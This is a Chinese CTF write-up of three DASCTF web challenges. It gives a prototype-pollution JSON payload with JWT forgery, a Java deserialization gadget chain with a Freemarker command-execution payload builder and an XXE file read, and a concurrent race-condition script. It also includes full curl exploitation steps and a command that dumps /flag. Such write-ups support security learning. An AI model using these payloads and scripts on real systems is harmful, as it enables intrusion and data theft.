
WEB就三道题,一个js原型链污染,一个高并发flask,一个java,手注0,ai3,gpt拿了mvp,btop251是躺赢狗
CorpGate
一套全新的企业员工门户系统CorpGate
源码分析
- 用户可控的设置合并入口
routes/user.js 中的 /api/settings 会把用户提交的 JSON 合并到当前用户的 settings 对象:
router.post('/api/settings', authMiddleware, (req, res) => { const user = Object.values(users).find(u => u.id === req.user.id); if (!user) return res.status(404).json({ error: 'User not found' }); if (typeof req.body !== 'object' || req.body === null || Array.isArray(req.body)) return res.status(400).json({ error: 'Invalid request body' }); deepMerge(user.settings, req.body); res.json({ success: true, message: 'Settings updated', settings: user.settings });});这里 req.body 完全由用户控制,危险点在 deepMerge()。
- 深度合并存在原型链污染绕过
const BLOCKED_ROOTS = ['__proto__', '__defineGetter__', '__defineSetter__', 'constructor', 'prototype'];const BLOCKED_KEYS = ['__proto__', '__defineGetter__', '__defineSetter__'];const MAX_DEPTH = 6;
function sanitizeKey(key) { return key.replace(/\./g, '');}
function deepMerge(target, source, depth) { if (depth === undefined) depth = 0; if (depth >= MAX_DEPTH) return target; for (var rawKey in source) { var key = sanitizeKey(rawKey); if (key === '') continue; if (BLOCKED_KEYS.indexOf(key) !== -1) continue; if (depth < 3 && BLOCKED_ROOTS.indexOf(key) !== -1) continue; if (isPlainObject(source[rawKey])) { if (typeof target[key] === 'object' && target[key] !== null) { deepMerge(target[key], source[rawKey], depth + 1); } else if (typeof target[key] === 'function') { deepMerge(target[key], source[rawKey], depth + 1); } } else { target[key] = source[rawKey]; } } return target;}过滤逻辑的问题:
constructor和prototype只在depth < 3时被拦截;- 当深度达到 3 后,可以使用
constructor.prototype; - 代码还允许
target[key]是函数时继续递归; - 对象的
constructor通常是Object函数,继续访问其prototype即可到达Object.prototype。
于是可以构造
{ "notifications": { "digest": { "channels": { "constructor": { "prototype": { "pending": "attacker-known-secret" } } } } }}合并路径:
user.settings.notifications.digest.channels.constructor.prototype.pending
污染之后去/api/system/healthcheck触发更新
这样secretkey就变成secret了,接下来伪造jwt密钥获得admin权限


TaxManager
安全的税务系统
JVAV还一点不会,直接ai梭的,所以直接贴ai的wp了
一、题目概览
这题表面上是一个税务管理系统,附件提供了一个 Spring Boot JAR。
实际解题时有一个关键点:远端运行的 JAR 和附件里的 JAR 不是同一个版本。
本题真实利用链如下:
- 注册并登录普通用户
- 利用
/api/profile/update的反射赋值越权,把自己角色改成reviewer - 申请一条退款记录
- 构造恶意
attachmentData,经/api/review写入voucherData - 调用
/api/export/generate触发 Java 反序列化 - 反序列化链中进入 Freemarker 模板执行,执行系统命令
- 将 flag 写入
/tmp/x - 利用
/api/import/history的 XXE 读取/tmp/x
二、附件审计与远端差异确认
附件路径:
D:\Users\CTF_sources\web\dasctf2026\TaxManager\tempdir\WEB附件\taxmanager-1.1.0-ctf.jar先看附件哈希:
Get-FileHash -Algorithm SHA256 ` 'D:\Users\CTF_sources\web\dasctf2026\TaxManager\tempdir\WEB附件\taxmanager-1.1.0-ctf.jar'附件哈希:
E11BCB326E86B11DF52ADB0DB895A457FAC4A95C1E11D00D97A05B83E7A53737然后访问公开帮助接口:
curl http://ee4912d8.http-ctf2.dasctf.com:80/api/help帮助接口中出现了:
GET /download/app.jar
下载远端运行包:
curl -L -o remote_app.jar http://ee4912d8.http-ctf2.dasctf.com:80/download/app.jar计算远端包哈希:
Get-FileHash -Algorithm SHA256 .\remote_app.jar远端哈希:
A25551A7BE8B11A3F07DFBEE32D8ACFBEA35E2FDAA6B1D90BD8A2A8EE234D92E结论:
- 附件 JAR != 远端运行 JAR
- 后续分析必须以
remote_app.jar为准
三、信息收集
首页与帮助接口:
curl http://ee4912d8.http-ctf2.dasctf.com:80/curl http://ee4912d8.http-ctf2.dasctf.com:80/api/help可以得到这些接口:
/api/register/api/login/api/profile/update/api/refund/apply/api/review/api/export/prepare/api/export/generate/api/import/history/download/app.jar
帮助接口还明确写了:
- 角色有
taxpayer | reviewer | admin - voucher 是 “Java object, base64 encoded”
- export 是“两步流程”
这几个点已经很像故意给的出题线索。
四、反编译远端 JAR
列出远端 JAR 内容:
jar tf remote_app.jar提取 BOOT-INF/classes:
jar xf remote_app.jar BOOT-INF/classes BOOT-INF/lib META-INF/maven关键类:
com.tax.controller.AuthControllercom.tax.controller.ReviewControllercom.tax.controller.ExportControllercom.tax.controller.ImportControllercom.tax.util.SerializeUtilcom.tax.util.ScheduledTaskHandlercom.tax.job.ReportJobcom.tax.report.PdfReportGenerator
反编译可直接用:
javap -classpath BOOT-INF/classes -c -p com.tax.controller.AuthControllerjavap -classpath BOOT-INF/classes -c -p com.tax.controller.ReviewControllerjavap -classpath BOOT-INF/classes -c -p com.tax.controller.ExportControllerjavap -classpath BOOT-INF/classes -c -p com.tax.controller.ImportController五、漏洞 1:角色越权
1. 漏洞点
AuthController.updateProfile() 对用户提交的 JSON 做了反射赋值:
逻辑核心:
- 只禁止修改:
id、username、password - 如果字段名是
role且值为admin,会跳过 - 但没有禁止把
role改成reviewer
也就是:
role=admin不行role=reviewer可以
2. 利用方式
先注册登录,然后发:
POST /api/profile/updateContent-Type: application/json
{"role":"reviewer"}验证:
curl -b cookies http://ee4912d8.http-ctf2.dasctf.com:80/api/profile返回中 role 变成了:
{"role":"reviewer","success":true,...}这一步拿到 reviewer 权限,后面就能调用审批和导出接口。
六、漏洞 2:可控反序列化链
1. 写入点:/api/review
ReviewController.reviewRefund():
- reviewer/admin 可调用
action=approveattachmentData非空时只校验 HMAC 签名- 签名正确就把
attachmentData传给RefundService.approveRefund()
application.properties 中硬编码了签名密钥:
api.signing.secret=TaxManager_Secret_K3y_2026_Un1que因此我们可以本地生成合法签名。
2. 落地点:RefundService.approveRefund()
如果 attachmentData 非空,则:
req.setVoucherData(attachmentData);也就是说我们能直接控制数据库里的 voucherData。
3. 触发点:/api/export/generate
ExportController.generateExport() 在 token 校验通过后,会做:
Object obj = SerializeUtil.deserialize(voucherData);SerializeUtil.deserialize() 直接:
new ObjectInputStream(...).readObject();这是标准 Java 原生反序列化。
4. Gadget 链
链条如下:
ScheduledTaskHandler.readObject()- 遍历
taskQueue - 对每个
Runnable执行run() ReportJob.run()- 调
PdfReportGenerator.render(templateContent) render()使用 FreemarkerStringTemplateLoader- 模板可控,触发 Freemarker 模板执行
因此完整链是:
ObjectInputStream.readObject() -> ScheduledTaskHandler.readObject() -> Runnable.run() -> ReportJob.run() -> PdfReportGenerator.render() -> Freemarker template execution七、XXE 点分析
ImportController.importHistory(byte[]) 是远端版本新增的逻辑。
关键点:
- 先把原始字节按 UTF-8 / UTF-16LE / UTF-16BE 转字符串
- 只要原始 payload 中包含
flag,直接拦截:
Security Alert: Invalid keyword detected in payload- 之后仍然用默认
DocumentBuilderFactory.newInstance()去解析 XML - 未禁用外部实体,因此 XXE 仍然成立
- 如果解析结果或异常消息中出现
flag/DASCTF,又会二次拦截
所以直接读:
file:///flagfile:///flag.txt
会被关键字规则挡住。
解法是:
- 先用反序列化执行命令把 flag 写到别的文件里
- 然后 XXE 读取该中转文件
八、利用思路
因为 XXE 不能直接读 /flag,所以分两步:
第一步:命令执行,把 flag 写到 /tmp/x
执行命令:
base64 /flag > /tmp/x || base64 /flag.txt > /tmp/x这样有两个好处:
- XML 里不直接出现
flag - 读取
/tmp/x时返回的是 base64,不容易被回显规则误杀
第二步:XXE 读取 /tmp/x
构造:
<!DOCTYPE history [<!ENTITY xxe SYSTEM "file:///tmp/x">]><history><taxpayerId>&xxe;</taxpayerId></history>这样就能把 /tmp/x 内容带回来。
九、本地构造 payload
我本地写了一个辅助类 BuildPayload.java,用于生成序列化后的 base64。
代码如下:
import com.tax.job.ReportJob;import com.tax.report.PdfReportGenerator;import com.tax.util.ScheduledTaskHandler;
import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.Queue;
public class BuildPayload { public static void main(String[] args) throws Exception { if (args.length < 1) { System.err.println("usage: BuildPayload <command...>"); System.exit(1); }
String command = String.join(" ", args); String template = "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"" + command.replace("\\\\", "\\\\\\\\").replace("\"", "\\\\\"") + "\")}";
ScheduledTaskHandler handler = new ScheduledTaskHandler(); Field taskQueueField = ScheduledTaskHandler.class.getDeclaredField("taskQueue"); taskQueueField.setAccessible(true);
@SuppressWarnings("unchecked") Queue<Runnable> queue = (Queue<Runnable>) taskQueueField.get(handler); queue.add(new ReportJob(new PdfReportGenerator("pdf"), template));
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(handler); oos.close();
System.out.print(Base64.getEncoder().encodeToString(baos.toByteArray())); }}编译:
javac -cp "BOOT-INF/classes;BOOT-INF/lib/*" -d . BuildPayload.java生成 payload:
java -cp ".;BOOT-INF/classes;BOOT-INF/lib/*" BuildPayload "sh -c base64$IFS/flag>/tmp/x||base64$IFS/flag.txt>/tmp/x"这里用 $IFS 代替空格,避免命令字符串被额外转义搞坏。
十、完整复现步骤
下面给一套可直接照抄的步骤。
1. 注册
curl -c cookies.txt -b cookies.txt \ -H "Content-Type: application/json" \ --data-binary "{\"username\":\"user1\",\"password\":\"P@ssw0rd123\",\"taxpayerId\":\"TAX001\"}" \ http://ee4912d8.http-ctf2.dasctf.com:80/api/register2. 登录
curl -c cookies.txt -b cookies.txt \ -H "Content-Type: application/json" \ --data-binary "{\"username\":\"user1\",\"password\":\"P@ssw0rd123\"}" \ http://ee4912d8.http-ctf2.dasctf.com:80/api/login3. 升级为 reviewer
curl -c cookies.txt -b cookies.txt \ -H "Content-Type: application/json" \ --data-binary "{\"role\":\"reviewer\"}" \ http://ee4912d8.http-ctf2.dasctf.com:80/api/profile/update4. 申请退款
curl -c cookies.txt -b cookies.txt \ -H "Content-Type: application/json" \ --data-binary "{\"amount\":4.56,\"taxYear\":2025,\"reason\":\"flag\"}" \ http://ee4912d8.http-ctf2.dasctf.com:80/api/refund/apply记录返回里的 id,假设为 4。
5. 生成恶意序列化 payload
java -cp ".;BOOT-INF/classes;BOOT-INF/lib/*" BuildPayload "sh -c base64$IFS/flag>/tmp/x||base64$IFS/flag.txt>/tmp/x"得到一段 base64,记为 PAYLOAD_B64。
6. 计算签名
签名算法:
- HMAC-SHA256
- key =
TaxManager_Secret_K3y_2026_Un1que - 明文 =
PAYLOAD_B64 - 输出 = Base64
Python 版:
import hmacimport hashlibimport base64
secret = b"TaxManager_Secret_K3y_2026_Un1que"data = b"PAYLOAD_B64"sig = base64.b64encode(hmac.new(secret, data, hashlib.sha256).digest()).decode()print(sig)7. 审批恶意退款
curl -c cookies.txt -b cookies.txt \ -H "Content-Type: application/json" \ -H "X-Signature: YOUR_SIGNATURE" \ --data-binary "{\"refundId\":4,\"action\":\"approve\",\"attachmentData\":\"PAYLOAD_B64\"}" \ http://ee4912d8.http-ctf2.dasctf.com:80/api/review8. 准备导出
curl -c cookies.txt -b cookies.txt \ -H "Content-Type: application/json" \ --data-binary "{\"refundId\":4}" \ http://ee4912d8.http-ctf2.dasctf.com:80/api/export/prepare拿到 exportToken。
9. 触发反序列化
curl -c cookies.txt -b cookies.txt \ -H "Content-Type: application/json" \ --data-binary "{\"refundId\":4,\"exportToken\":\"YOUR_TOKEN\"}" \ http://ee4912d8.http-ctf2.dasctf.com:80/api/export/generate这里虽然返回通常是:
{"success":false,"message":"Unexpected object type: com.tax.util.ScheduledTaskHandler. Expected: com.tax.model.TaxReport (serialVersionUID=1)"}但这并不影响命令已经执行。
因为 readObject() 已经先跑完了,报错只是后续 instanceof TaxReport 检查失败。
10. XXE 读取 /tmp/x
curl -b cookies.txt \ -H "Content-Type: application/xml" \ --data-binary '<!DOCTYPE history [<!ENTITY xxe SYSTEM "file:///tmp/x">]><history><taxpayerId>&xxe;</taxpayerId></history>' \ http://ee4912d8.http-ctf2.dasctf.com:80/api/import/history返回类似:
{"success":true,"message":"History imported successfully for taxpayer: REFTQ1RGezZmZjA4ZDU4LTkzYWEtNDM1Ni1iZGI3LTllNjcwNGM3NDBlY30K\n"}十一、解码 flag
base64 解码:
echo 'REFTQ1RGezZmZjA4ZDU4LTkzYWEtNDM1Ni1iZGI3LTllNjcwNGM3NDBlY30K' | base64 -d得到:
DASCTF{6ff08d58-93aa-4356-bdb7-9e6704c740ec}InkVerse
InkVerse是一个功能丰富的社区博客平台,支持文章发布、赞赏打赏、内容审核、文章导出以及每周摘要报告等功能。平台最近完成了一次大规模架构升级,引入了后台任务队列和分级公告系统。作为受邀的安全顾问,你的任务是对该系统进行全面评估。试试 /api/docs
提权
开局一个登录框,先注册账号

这道题有个打赏系统,可以通过别人的打赏获得声望,达到50声望以上就可以成为审稿人(reviewer)
可以看到有一个接口bullen在普通用户权限下是没办法使用的
所以我们要想办法成为reviewer,在这里的常规打赏没办法达到50以上
这个时候@marin师傅提出了创造性的一步,尝试高并发看看能不能过
如果多个请求并发命中,就可能在余额尚未正确更新前同时通过检查,导致:
- 成功打赏次数超过 20 次
- 余额变成负数
- 声望突破 40 点上限
复现脚本
import requestsimport randomimport concurrent.futures
base = "http://58873f99.http-ctf2.dasctf.com"
u = "rvw" + str(random.randint(100000, 999999))p = "pass1234"
s = requests.Session()s.post(base + "/register", data={"username": u, "password": p}, allow_redirects=False)s.post(base + "/login", data={"username": u, "password": p}, allow_redirects=False)
cookie = s.cookies.get("session")headers = { "Cookie": f"session={cookie}", "Content-Type": "application/json", "Connection": "close",}
def tip(_): try: r = requests.post( base + "/api/tip", data='{"article_id":1}', headers=headers, timeout=10, ) return r.status_code, r.text except Exception as e: return "ERR", repr(e)
with concurrent.futures.ThreadPoolExecutor(max_workers=160) as ex: results = list(ex.map(tip, range(320)))
s2 = requests.Session()s2.post(base + "/login", data={"username": u, "password": p}, allow_redirects=False)print("account:", u, p)print(s2.get(base + "/api/user/info").text)
拿到 reviewer 后,可以访问:
GET /review以及导出接口:
POST /api/exportContent-Type: application/json
{"article_id":1}导出完成后,通过:
GET /api/export/status可以拿到输出文件名,例如:
export_1_1.txtexport_2_2.txtexport_3_3.txt
下载导出文件:
GET /exports/export_1_1.txt得到内容类似:
Title: Welcome to InkVerseAuthor: adminExport-ID: 1Processed-At: 2026-05-30 04:21:29Integrity: a606867c38f1d10f4bf4f6480cad8c83Feature-Token: 68aa12766d60014a4685760309c7b4d57b22788f93b2ab00fdbbe04da8480bad---This is the official blog platform. Share your stories with the world!这里的关键点是:
导出文件直接泄露了
Feature-Token
题目接口文档里写了:
POST /api/review/feature而 reviewer 测试时,服务端会明确报错:
{"error":"signature required. Use a valid feature signing token."}说明 signature 实际上就是某种 feature token。
利用 Feature-Token 申请精选
1. 先准备自己的文章
普通用户新建文章并提交审核:
POST /article/newPOST /article/<id>/submit2. reviewer 审核通过
POST /api/review/singleContent-Type: application/json
{"article_id":5,"action":"approve"}3. reviewer 导出该文章
POST /api/exportContent-Type: application/json
{"article_id":5}下载导出文件后得到对应 token,例如:
Feature-Token: 12d5db4900f7b23051619f2682f51eb58909d5d8861d443ef6f9ce4e3d9808804. 用 token 提交精选请求
POST /api/review/featureContent-Type: application/json
{ "article_id": 5, "signature": "12d5db4900f7b23051619f2682f51eb58909d5d8861d443ef6f9ce4e3d980880"}服务端返回:
{"message":"Feature request submitted for background processing"}之后轮询:
GET /api/review/feature/status?article_id=5状态会从:
{"status":"pending"}变为:
{"status":"approved"}同时首页中该文章会出现:
Featured标记article-card featured样式
这说明文章作者已经进入 featured_authors 可见级别。
featured author 公告拿 flag
文章被标记为 featured 后,原作者再访问:
GET /bulletin即可看到专属公告:
<h3>Featured Author Rewards</h3><p>Congratulations! As a featured author, you have access to exclusive content and the weekly digest reports.Secret credential: DASCTF{bda61e3f-7154-44c7-abf1-7216a67c03eb}</p>因此最终 flag 为:
DASCTF{bda61e3f-7154-44c7-abf1-7216a67c03eb}如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









